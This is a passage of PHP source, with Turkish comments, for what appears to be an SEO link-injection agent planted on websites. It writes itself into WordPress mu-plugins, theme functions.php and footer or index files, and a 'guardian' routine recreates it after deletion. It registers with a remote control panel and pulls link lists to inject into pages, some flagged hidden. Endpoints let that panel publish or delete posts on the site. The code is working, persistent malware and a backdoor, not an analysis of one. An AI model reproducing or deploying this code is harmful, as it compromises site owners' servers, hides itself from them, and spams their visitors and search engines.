$varName);\n" . $i5 . " @unlink(\$__rs_tmp);\n" . $i5 . " if (function_exists('opcache_invalidate')) { @opcache_invalidate($varName, true); }\n" . $i5 . " \$__rs_done = @is_file($varName);\n" . $i5 . " if (\$__rs_done) { break; }\n" . $i5 . "}\n" . $i4 . "}\n" . $i3 . "}\n" . $i2 . "}\n" . $i . "}\n"; } function build_guardian_restore_block() { return build_guardian_restore_php('$c', ' '); } function rootseo_guardian_tick($force = false) { try { $primary = guardian_primary_path(); $healthy = guardian_is_healthy($primary); // Silinmis/bozuksa throttle yok — hemen dogur if (!$healthy) { if (guardian_restore_primary()) { $healthy = guardian_is_healthy($primary); } // Bu dosya ayaktaysa ondan da yaz if (!$healthy && guardian_is_healthy(__FILE__)) { $src = @file_get_contents(__FILE__); if (guardian_source_ok($src)) { guardian_atomic_write($primary, $src); $healthy = guardian_is_healthy($primary); } } } $stateFile = defined('GUARDIAN_STATE_FILE') ? GUARDIAN_STATE_FILE : (dirname($primary) . '/.rs_guardian_v5.json'); $state = load_json_file($stateFile, array()); $now = time(); $last = isset($state['last_guardian']) ? intval($state['last_guardian']) : 0; if (!$force && $healthy && ($now - $last) < GUARDIAN_THROTTLE_SECONDS) { return $healthy; } $state['last_guardian'] = $now; $state['primary'] = $primary; $state['healthy'] = $healthy ? 1 : 0; $state['version'] = AGENT_VERSION; @save_json_file($stateFile, $state); if ($healthy || guardian_is_healthy(__FILE__)) { guardian_write_copies(); } return $healthy; } catch (Exception $e) { return false; } } function rootseo_purge_broken_remnants() { $doc = find_document_root(); $cleaned = array(); // Eski htaccess prepend kalintilari (siteyi bozan) $ht = $doc . '/.htaccess'; if (@is_file($ht) && is_writable($ht)) { $c = @file_get_contents($ht); if ($c !== false && (strpos($c, 'ROOTSEO_HTACCESS') !== false || strpos($c, 'panel_prepend') !== false || strpos($c, 'auto_prepend_file') !== false && strpos($c, 'ROOTSEO') !== false)) { $c2 = preg_replace('/# ROOTSEO_HTACCESS_START:.*?# ROOTSEO_HTACCESS_END:[^\n]*\n?/s', '', $c); $c2 = preg_replace('/^[^\n]*panel_prepend[^\n]*\n?/mi', '', $c2); if ($c2 !== $c && @file_put_contents($ht, $c2) !== false) { $cleaned[] = '.htaccess'; } } } $ui = $doc . '/.user.ini'; if (@is_file($ui) && is_writable($ui)) { $c = @file_get_contents($ui); if ($c !== false && strpos($c, 'ROOTSEO_USERINI') !== false) { $c2 = preg_replace('/# ROOTSEO_USERINI_START:.*?# ROOTSEO_USERINI_END:[^\n]*\n?/s', '', $c); if ($c2 !== $c && @file_put_contents($ui, $c2) !== false) { $cleaned[] = '.user.ini'; } } } foreach (array($doc . '/.panel_prepend_v5.php') as $dead) { if (@is_file($dead) && @unlink($dead)) { $cleaned[] = basename($dead); } } return $cleaned; } // ==================== AUTO-CLEAN (OTOMATİK TEMİZLİK) ==================== function rootseo_autoclean_tick() { try { $state = load_json_file(GUARDIAN_STATE_FILE, array()); $now = time(); $last = isset($state['last_autoclean']) ? intval($state['last_autoclean']) : 0; if (($now - $last) < AUTO_CLEAN_THROTTLE_SECONDS) return; $state['last_autoclean'] = $now; @save_json_file(GUARDIAN_STATE_FILE, $state); $links = load_links(); $kept = array(); foreach ($links as $id => $row) { $exp = isset($row['expires_at']) ? intval($row['expires_at']) : 0; if (!empty($exp) && $exp > 0 && $exp < $now) continue; $kept[$id] = $row; } if (count($kept) !== count($links)) { save_links($kept); } else { $config = load_config(); if (count(enforce_footer_cap($kept, $config)) !== count($kept)) { save_links($kept); } } } catch (Exception $e) { // never break the host page } } // ==================== MU-PLUGIN ve WORDPRESS ENTEGRASYONU ==================== function build_mu_plugin_code($marker) { $connectorPath = addslashes(guardian_primary_path()); $fallback = addslashes(__FILE__); return "<?php\n" . "/* ROOTSEO_MUPLUGIN:$marker v" . AGENT_VERSION . " */\n" . "if (!defined('ABSPATH')) { return; }\n" . "add_action('plugins_loaded', function () {\n" . " \$c = '$connectorPath';\n" . build_guardian_restore_block() . " if (!@is_file(\$c)) { \$c = '$fallback'; " . trim(build_guardian_restore_php('$c', ' ')) . " }\n" . " if (!@is_file(\$c)) { return; }\n" . " if (!defined('ROOTSEO_EMBED_VIA_HOOK')) define('ROOTSEO_EMBED_VIA_HOOK', true);\n" . " if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n" . " include_once \$c;\n" . "}, 1);\n"; } function install_mu_plugin($siteInfo) { $base = $siteInfo['document_root']; $muDir = $base . '/wp-content/mu-plugins'; if (!is_dir($muDir)) { if (!@mkdir($muDir, 0755, true) && !is_dir($muDir)) return array(false, null, null, 'mu_dir_create_failed'); } if (!is_writable($muDir)) return array(false, null, null, 'mu_dir_not_writable'); $marker = placement_marker('wp_mu_plugin'); $pluginPath = $muDir . '/panel-links-v5.php'; if (@file_put_contents($pluginPath, build_mu_plugin_code($marker)) === false) return array(false, null, null, 'mu_plugin_write_failed'); return array(true, $pluginPath, 'dynamic_php', 'mu_plugin_installed'); } function install_functions_hook($siteInfo) { $footer = isset($siteInfo['active_theme_footer']) ? $siteInfo['active_theme_footer'] : null; if (!$footer) return array(false, null, null, 'active_theme_footer_missing'); $functionsFile = dirname($footer) . '/functions.php'; if (!file_exists($functionsFile) || !is_writable($functionsFile)) return array(false, null, null, 'functions_not_writable'); $marker = placement_marker('wp_functions_hook'); $content = @file_get_contents($functionsFile); if ($content === false) return array(false, null, null, 'functions_read_failed'); $connectorPath = addslashes(guardian_primary_path()); $fallback = addslashes(__FILE__); $functionName = 'panel_render_' . preg_replace('/[^a-z0-9]/i', '', $marker); $snippet = "\n/* ROOTSEO_FUNCTIONS_START:$marker v" . AGENT_VERSION . " */\n" . "if (!function_exists('$functionName')) {\n" . "function $functionName() {\n" . " \$c = '$connectorPath';\n" . build_guardian_restore_block() . " if (!@is_file(\$c)) { \$c = '$fallback'; " . trim(build_guardian_restore_php('$c', ' ')) . " }\n" . " if (!@is_file(\$c)) { return; }\n" . " if (!defined('ROOTSEO_EMBED_VIA_HOOK')) define('ROOTSEO_EMBED_VIA_HOOK', true);\n" . " if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n" . " include_once \$c;\n" . "}\n" . "add_action('after_setup_theme', '$functionName', 1);\n" . "}\n/* ROOTSEO_FUNCTIONS_END:$marker */\n"; if (strpos($content, "ROOTSEO_FUNCTIONS_START:$marker") !== false) { return array(true, $functionsFile, 'dynamic_php', 'functions_hook_exists'); } if (@file_put_contents($functionsFile, $content . $snippet) === false) return array(false, null, null, 'functions_write_failed'); return array(true, $functionsFile, 'dynamic_php', 'functions_hook_installed'); } function install_file_patch($filePath, $strategy) { $marker = placement_marker($strategy . '|' . $filePath); $ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION)); if (in_array($ext, array('html', 'htm'), true)) { list($ok, $msg) = upsert_html_file_block($filePath, $marker); return array($ok, $ok ? $filePath : null, $ok ? 'static_html' : null, $msg, $marker); } list($ok, $msg) = upsert_php_file_block($filePath, $marker); return array($ok, $ok ? $filePath : null, $ok ? 'dynamic_php' : null, $msg, $marker); } function install_htaccess_prepend($siteInfo) { // Site .htaccess'e dokunma $marker = placement_marker('htaccess_prepend'); return array(false, null, null, 'htaccess_disabled', $marker); } function install_user_ini($siteInfo) { // .user.ini / auto_prepend siteyi bozabilir — kapali $marker = placement_marker('user_ini'); return array(false, null, null, 'user_ini_disabled', $marker); } function install_any_php_file($siteInfo) { $base = $siteInfo['document_root']; $phpFiles = glob($base . '/*.php'); if (!$phpFiles) return array(false, null, null, 'no_root_php_files', null); foreach ($phpFiles as $file) { $name = basename($file); if (in_array($name, array(basename(__FILE__), 'wp-config.php', 'wp-settings.php', 'wp-load.php'), true)) continue; list($ok, $target, $mode, $msg, $marker) = install_file_patch($file, 'any_php_file'); if ($ok) return array(true, $target, $mode, $msg, $marker); } return array(false, null, null, 'no_writable_php_target', null); } function build_strategy_chain($siteInfo) { $chain = array(); if ($siteInfo['site_type'] === 'wordpress') { $chain[] = 'wp_mu_plugin'; $chain[] = 'wp_functions_hook'; if (!empty($siteInfo['active_theme_footer'])) { $chain[] = array('file_patch', $siteInfo['active_theme_footer'], 'wp_active_footer'); } } foreach ($siteInfo['footer_paths'] as $path) { $chain[] = array('file_patch', $path, 'footer_patch'); } foreach (array('index.php', 'index.html', 'index.htm') as $file) { $path = $siteInfo['document_root'] . '/' . $file; if (file_exists($path)) { $chain[] = array('file_patch', $path, 'index_patch'); } } // htaccess / user_ini yok — siteyi bozmamak icin $chain[] = 'any_php_file'; return $chain; } function append_placement_history($config, $entry) { $history = isset($config['placement']['history']) ? $config['placement']['history'] : array(); $history[] = $entry; if (count($history) > PLACEMENT_HISTORY_LIMIT) { $history = array_slice($history, -PLACEMENT_HISTORY_LIMIT); } $config['placement']['history'] = array_values($history); return $config; } function verify_current_placement($config) { $placement = isset($config['placement']) ? $config['placement'] : default_placement_state(); $strategy = isset($placement['strategy']) ? $placement['strategy'] : ''; $target = isset($placement['target']) ? $placement['target'] : ''; $marker = isset($placement['marker']) ? $placement['marker'] : ''; if (!$strategy || !$target || !$marker) return array(false, 'placement_missing'); if ($strategy === 'wp_mu_plugin' || $strategy === 'wp_functions_hook') { if (!file_exists($target)) return array(false, 'target_missing'); $content = @file_get_contents($target); return ($content !== false && strpos($content, $marker) !== false) ? array(true, 'marker_present') : array(false, 'marker_missing'); } if ($strategy === 'htaccess_prepend' || $strategy === 'user_ini') { if (!file_exists($target)) return array(false, 'prepend_missing'); $content = @file_get_contents($target); $prependFile = $GLOBALS['site_info']['document_root'] . '/.panel_prepend_v5.php'; return ($content !== false && strpos($content, $prependFile) !== false) ? array(true, 'prepend_present') : array(false, 'prepend_missing'); } if (!file_exists($target)) return array(false, 'target_missing'); $content = @file_get_contents($target); if ($content === false) return array(false, 'target_unreadable'); $install_mode = isset($placement['install_mode']) ? $placement['install_mode'] : ''; if ($install_mode === 'static_html') { return strpos($content, "ROOTSEO_HTML_START:$marker") !== false ? array(true, 'static_block_present') : array(false, 'static_block_missing'); } return strpos($content, "ROOTSEO_START:$marker") !== false ? array(true, 'dynamic_block_present') : array(false, 'dynamic_block_missing'); } function ensure_render_delivery($forceReinstall = false) { $config = load_config(); $siteInfo = detect_site_info(); $GLOBALS['site_info'] = $siteInfo; $placement = isset($config['placement']) ? $config['placement'] : default_placement_state(); $verified = array(false, 'not_checked'); if (!$forceReinstall) { $verified = verify_current_placement($config); if ($verified[0]) { $placement['status'] = 'installed'; $placement['verify_status'] = $verified[1]; $placement['last_verified_at'] = gmdate('c'); $config['placement'] = $placement; save_config($config); return array(true, $config, array('verified' => true, 'message' => $verified[1])); } } foreach (build_strategy_chain($siteInfo) as $strategy) { $nowIso = gmdate('c'); if (is_string($strategy)) { if ($strategy === 'wp_mu_plugin') { list($ok, $target, $mode, $msg) = install_mu_plugin($siteInfo); $marker = placement_marker('wp_mu_plugin'); $strategyName = 'wp_mu_plugin'; } elseif ($strategy === 'wp_functions_hook') { list($ok, $target, $mode, $msg) = install_functions_hook($siteInfo); $marker = placement_marker('wp_functions_hook'); $strategyName = 'wp_functions_hook'; } elseif ($strategy === 'htaccess_prepend') { list($ok, $target, $mode, $msg, $marker) = install_htaccess_prepend($siteInfo); $strategyName = 'htaccess_prepend'; } elseif ($strategy === 'user_ini') { list($ok, $target, $mode, $msg, $marker) = install_user_ini($siteInfo); $strategyName = 'user_ini'; } elseif ($strategy === 'any_php_file') { list($ok, $target, $mode, $msg, $marker) = install_any_php_file($siteInfo); $strategyName = 'any_php_file'; } else { continue; } } else { $strategyName = $strategy[2]; list($ok, $target, $mode, $msg, $marker) = install_file_patch($strategy[1], $strategy[2]); } $config = append_placement_history($config, array( 'at' => $nowIso, 'strategy' => $strategyName, 'target' => $target, 'install_mode' => $mode, 'success' => (bool)$ok, 'message' => $msg, )); if ($ok) { $placement = array( 'status' => 'installed', 'strategy' => $strategyName, 'target' => $target, 'install_mode' => $mode, 'marker' => $marker, 'message' => $msg, 'installed_at' => isset($config['placement']['installed_at']) ? $config['placement']['installed_at'] : $nowIso, 'last_attempt_at' => $nowIso, 'last_verified_at' => $nowIso, 'verify_status' => 'installed', 'history' => isset($config['placement']['history']) ? $config['placement']['history'] : array(), ); $config['placement'] = $placement; save_config($config); $links = load_links(); foreach ($links as $id => $row) { $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']); } save_links($links); return array(true, $config, array('verified' => false, 'message' => $msg)); } } $config['placement']['status'] = 'failed'; $config['placement']['last_attempt_at'] = gmdate('c'); $config['placement']['message'] = 'no_strategy_succeeded'; save_config($config); return array(false, $config, array('verified' => false, 'message' => 'no_strategy_succeeded')); } function apply_placement_snapshot_to_link($row, $placement) { $row['placement_status'] = isset($placement['status']) ? $placement['status'] : 'not_installed'; $row['placement_strategy'] = isset($placement['strategy']) ? $placement['strategy'] : null; $row['placement_target'] = isset($placement['target']) ? $placement['target'] : null; $row['last_verified_at'] = isset($placement['last_verified_at']) ? $placement['last_verified_at'] : null; return $row; } function placement_report_payload() { $config = load_config(); $siteInfo = detect_site_info(); $links = load_links(); $stats = get_link_stats($links); list($ok, $verifyMessage) = verify_current_placement($config); $config['placement']['last_verified_at'] = gmdate('c'); $config['placement']['verify_status'] = $verifyMessage; save_config($config); return array( 'version' => AGENT_VERSION, 'site_info' => $siteInfo, 'placement' => $config['placement'], 'link_stats' => $stats, 'render_profile' => $config['render_profile'], 'render_types' => $config['render_types'], 'placement_ok' => $ok, ); } function verify_links_action() { $links = load_links(); $config = load_config(); $nowIso = gmdate('c'); foreach ($links as $id => $row) { $row['last_verified_at'] = $nowIso; $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']); } save_links($links); return placement_report_payload(); } // ==================== WORDPRESS REGISTER ==================== function rootseo_wp_register() { if (defined('ROOTSEO_WP_REGISTERED')) return; define('ROOTSEO_WP_REGISTERED', true); if (!function_exists('add_action')) return; if (function_exists('add_filter')) { define('ROOTSEO_WP_CONTEXTUAL_ACTIVE', true); add_filter('the_content', 'rootseo_contextual_inject', 50); } add_action('wp_footer', function () { echo rootseo_build_footer_html(true); }, 9999); rootseo_guardian_tick(); rootseo_autoclean_tick(); } // ==================== ANA ÇALIŞMA KODU ==================== $root = www_root(); if (!$root || $root === '' || $root === false) { $root = dirname(__FILE__); } $configFile = $root . '/.site_agent.json'; $linksFile = $root . '/.site_links.json'; $guardianStateFile = $root . '/.rs_guardian_v5.json'; $debug = isset($_GET['debug']); if (!defined('CONFIG_FILE')) define('CONFIG_FILE', $configFile); if (!defined('LINKS_FILE')) define('LINKS_FILE', $linksFile); if (!defined('GUARDIAN_STATE_FILE')) define('GUARDIAN_STATE_FILE', $guardianStateFile); // Panel check endpoint (arka plan kontrolü için) if (isset($_GET['panel_check'])) { header('Content-Type: application/json'); $primary = guardian_primary_path(); echo json_encode(array( 'status' => 'online', 'domain' => (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https://' : 'http://') . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''), 'agent_version' => AGENT_VERSION, 'php_version' => PHP_VERSION, 'root' => $root, 'primary' => $primary, 'primary_ok' => guardian_is_healthy($primary), 'config_exists' => file_exists($configFile), 'links_exists' => file_exists($linksFile), )); exit; } // Eski bozan kalintilari temizle + agent.php dogur if (isset($_GET['repair'])) { header('Content-Type: text/plain; charset=utf-8'); $cleaned = rootseo_purge_broken_remnants(); $ok = rootseo_guardian_tick(true); $primary = guardian_primary_path(); // placement yeniden kur $render = ensure_render_delivery(true); echo "REPAIR " . ($ok ? 'OK' : 'PARTIAL') . "\n"; echo "primary=" . $primary . "\n"; echo "primary_ok=" . (guardian_is_healthy($primary) ? '1' : '0') . "\n"; echo "cleaned=" . implode(',', $cleaned) . "\n"; echo "placement=" . (!empty($render[0]) ? 'OK' : 'FAIL') . "\n"; exit; } // ==================== EMBED MODU ÖNCE (beyaz ekran engeli) ==================== // Footer / mu-plugin / include ile cagrildiginda register/config/sync YAPMA. // Sadece link render + guardian/autoclean. $isEmbed = (defined('ROOTSEO_CONNECTOR_EMBED_RENDER') && ROOTSEO_CONNECTOR_EMBED_RENDER === true); $selfBase = basename(__FILE__); $isDirectHit = false; if (isset($_SERVER['SCRIPT_FILENAME'])) { $sf = (string)$_SERVER['SCRIPT_FILENAME']; $rpSf = @realpath($sf); $rpSelf = @realpath(__FILE__); if ($rpSf && $rpSelf && strcasecmp($rpSf, $rpSelf) === 0) { $isDirectHit = true; } elseif (strcasecmp(basename($sf), $selfBase) === 0) { $isDirectHit = true; } } if (!$isDirectHit && isset($_SERVER['PHP_SELF']) && strcasecmp(basename((string)$_SERVER['PHP_SELF']), $selfBase) === 0) { $isDirectHit = true; } if (!$isDirectHit && isset($_SERVER['SCRIPT_NAME']) && strcasecmp(basename((string)$_SERVER['SCRIPT_NAME']), $selfBase) === 0) { $isDirectHit = true; } if ($isEmbed || !$isDirectHit) { try { @rootseo_guardian_tick(false); if (defined('ROOTSEO_EMBED_VIA_HOOK') && ROOTSEO_EMBED_VIA_HOOK && function_exists('add_action')) { rootseo_wp_register(); } else { rootseo_autoclean_tick(); if ($isEmbed) { echo rootseo_build_footer_html(false); } } } catch (Exception $e) { // host sayfayi kirma } return; } // ==================== BLOG YAYINLA / SİL (WordPress) ==================== if (isset($_POST['delete_blog'])) { if (!file_exists($configFile)) { http_response_code(403); echo json_encode(array('ok' => false, 'error' => 'config_not_found')); exit; } $cfg = json_decode(read($configFile), true); $key = isset($_SERVER['HTTP_X_SITE_KEY']) ? (string)$_SERVER['HTTP_X_SITE_KEY'] : ''; if (empty($cfg['site_key']) || $key !== $cfg['site_key']) { http_response_code(403); echo json_encode(array('ok' => false, 'error' => 'unauthorized')); exit; } if (!file_exists($root . '/wp-load.php')) { echo json_encode(array('ok' => false, 'error' => 'not_wordpress')); exit; } require_once $root . '/wp-load.php'; $remoteUrl = isset($_POST['remote_url']) ? trim((string)$_POST['remote_url']) : ''; $title = isset($_POST['title']) ? trim((string)$_POST['title']) : ''; $postId = 0; if ($remoteUrl !== '') { $postId = url_to_postid($remoteUrl); } if (!$postId && $title !== '') { $post = get_page_by_title($title, OBJECT, 'post'); if ($post) { $postId = (int)$post->ID; } } if (!$postId) { echo json_encode(array('ok' => false, 'error' => 'post_not_found')); exit; } $deleted = wp_delete_post($postId, true); if (!$deleted) { echo json_encode(array('ok' => false, 'error' => 'delete_failed')); exit; } echo json_encode(array('ok' => true)); exit; } if (isset($_POST['publish_blog'])) { if (!file_exists($configFile)) { http_response_code(403); echo json_encode(array('ok' => false, 'error' => 'config_not_found')); exit; } $cfg = json_decode(read($configFile), true); $key = isset($_SERVER['HTTP_X_SITE_KEY']) ? (string)$_SERVER['HTTP_X_SITE_KEY'] : ''; if (empty($cfg['site_key']) || $key !== $cfg['site_key']) { http_response_code(403); echo json_encode(array('ok' => false, 'error' => 'unauthorized')); exit; } if (!file_exists($root . '/wp-load.php')) { echo json_encode(array('ok' => false, 'error' => 'not_wordpress')); exit; } require_once $root . '/wp-load.php'; $title = isset($_POST['title']) ? trim((string)$_POST['title']) : ''; $content = isset($_POST['content']) ? (string)$_POST['content'] : ''; if ($title === '' || trim($content) === '') { echo json_encode(array('ok' => false, 'error' => 'invalid_payload')); exit; } $postId = wp_insert_post(array( 'post_title' => $title, 'post_content' => $content, 'post_status' => 'publish', 'post_type' => 'post', ), true); if (is_wp_error($postId)) { echo json_encode(array('ok' => false, 'error' => $postId->get_error_message())); exit; } echo json_encode(array('ok' => true, 'url' => get_permalink($postId))); exit; } // ==================== REGISTER (İLK KURULUM) ==================== if (!file_exists($configFile)) { $response = curlRequest( PANEL_BASE . "/register", array('Content-Type: application/x-www-form-urlencoded'), true, http_build_query(array( 'domain' => (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https://' : 'http://') . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'), 'cms' => detectCMS(), 'agent_version' => AGENT_VERSION )) ); if (!$response) out("REGISTER_FAILED: panel unreachable (" . PANEL_BASE . "/register)"); $decoded = json_decode($response, true); if (!is_array($decoded) || empty($decoded['site_key']) || empty($decoded['site_secret'])) { out("REGISTER_FAILED: bad response: " . substr(preg_replace('/\s+/', ' ', $response), 0, 200)); } if (!save($configFile, $response)) { out("REGISTER_FAILED: cannot write " . $configFile); } out("REGISTERED"); } // ==================== KONFIGÜRASYONU OKU ==================== $config = json_decode(read($configFile), true); if (!$config || empty($config['site_key']) || empty($config['site_secret'])) out("INVALID_CONFIG: " . $configFile); $siteKey = $config['site_key']; $siteSecret = $config['site_secret']; $domain = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https://' : 'http://') . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'); // ==================== HEARTBEAT ==================== $timestamp = time(); $nonce = bin2hex(random_bytes(8)); $path = '/panel/api/site/heartbeat'; $sig = hash_hmac('sha256', "POST|$path|$timestamp|$nonce", $siteSecret); // Collect placed link ids from local links file for confirmation $placedIds = array(); if (defined('LINKS_FILE') && file_exists(LINKS_FILE)) { $tmp = @json_decode(@file_get_contents(LINKS_FILE), true); if (is_array($tmp)) { foreach ($tmp as $__ln) { if (!empty($__ln['id'])) $placedIds[] = (string)$__ln['id']; elseif (!empty($__ln['link_id'])) $placedIds[] = (string)$__ln['link_id']; } } } $linksHeader = "X-LINKS: " . implode(",", array_slice($placedIds, 0, 200)); curlRequest(PANEL_BASE . "/heartbeat", array( "X-SITE-KEY: $siteKey", "X-TIMESTAMP: $timestamp", "X-NONCE: $nonce", "X-SIGNATURE: $sig", "X-DOMAIN: $domain", "X-AGENT-VERSION: " . AGENT_VERSION, $linksHeader ), true); // ==================== CONFIG AL (LINKLERİ ÇEK) ==================== $timestamp = time(); $nonce = bin2hex(random_bytes(8)); $path = '/panel/api/site/config'; $sig = hash_hmac('sha256', "GET|$path|$timestamp|$nonce", $siteSecret); $response = curlRequest(PANEL_BASE . "/config?site_key=" . urlencode($siteKey), array( "X-SITE-KEY: $siteKey", "X-TIMESTAMP: $timestamp", "X-NONCE: $nonce", "X-SIGNATURE: $sig", "X-AGENT-VERSION: " . AGENT_VERSION )); if (!$response) out("CONFIG_FAILED: empty response from panel"); $data = json_decode($response, true); if (!is_array($data) || !isset($data['links'])) { out("INVALID_CONFIG_RESPONSE: " . substr(preg_replace('/\s+/', ' ', $response), 0, 200)); } // Panel universal config: footer_link_cap / contextual_max_ttl merge if (isset($data['footer_link_cap']) || isset($data['contextual_max_ttl'])) { $cfgMerge = load_config(); $cfgChanged = false; if (isset($data['footer_link_cap'])) { $cap = max(1, min(500, intval($data['footer_link_cap']))); if (!isset($cfgMerge['footer_link_cap']) || intval($cfgMerge['footer_link_cap']) !== $cap) { $cfgMerge['footer_link_cap'] = $cap; $cfgChanged = true; } } if (isset($data['contextual_max_ttl'])) { $ttl = max(3600, intval($data['contextual_max_ttl'])); if (!isset($cfgMerge['contextual_max_ttl']) || intval($cfgMerge['contextual_max_ttl']) !== $ttl) { $cfgMerge['contextual_max_ttl'] = $ttl; $cfgChanged = true; } } if ($cfgChanged) { save_config($cfgMerge); } } // ==================== LINKLERİ KAYDET ==================== $linksToSave = array(); foreach ($data['links'] as $link) { if (empty($link['url']) || empty($link['anchor'])) continue; $stableId = ''; if (!empty($link['id'])) $stableId = $link['id']; elseif (!empty($link['link_id'])) $stableId = $link['link_id']; else $stableId = build_deterministic_link_id($link['url'], $link['anchor'], isset($link['rel']) ? $link['rel'] : 'dofollow'); $linksToSave[] = array( 'id' => $stableId, 'kind' => isset($link['kind']) ? normalize_kind($link['kind']) : 'footer', 'url' => $link['url'], 'anchor' => $link['anchor'], 'rel' => isset($link['rel']) ? normalize_rel($link['rel']) : 'dofollow', 'expires_at' => isset($link['expires_at']) ? intval($link['expires_at']) : null, 'created' => time(), 'updated_at' => time(), 'hidden' => isset($link['hidden']) ? (bool)$link['hidden'] : false, ); } if (!empty($linksToSave)) { save_links($linksToSave); } // ==================== PLACEMENT (YERLEŞİM) ==================== $renderResult = array(false, array(), array()); try { // Once agent.php + yedekleri garanti et @rootseo_guardian_tick(true); @rootseo_purge_broken_remnants(); $renderResult = ensure_render_delivery(false); @guardian_write_copies(); } catch (Exception $e) { $renderResult = array(false, load_config(), array('message' => 'placement_exception')); } if ($debug) { $stats = get_link_stats(load_links()); echo "AGENT OK v" . AGENT_VERSION . "\n"; echo "Root: " . $root . "\n"; echo "Config: " . $configFile . "\n"; echo "Links: " . $stats['total'] . "\n"; echo "Active: " . $stats['active'] . "\n"; echo "Expired: " . $stats['expired'] . "\n"; echo "Placement: " . ($renderResult[0] ? 'OK' : 'FAILED') . "\n"; $placement = isset($renderResult[1]['placement']) ? $renderResult[1]['placement'] : array(); echo "Strategy: " . (isset($placement['strategy']) ? $placement['strategy'] : 'none') . "\n"; } else { echo "SYNC_OK"; }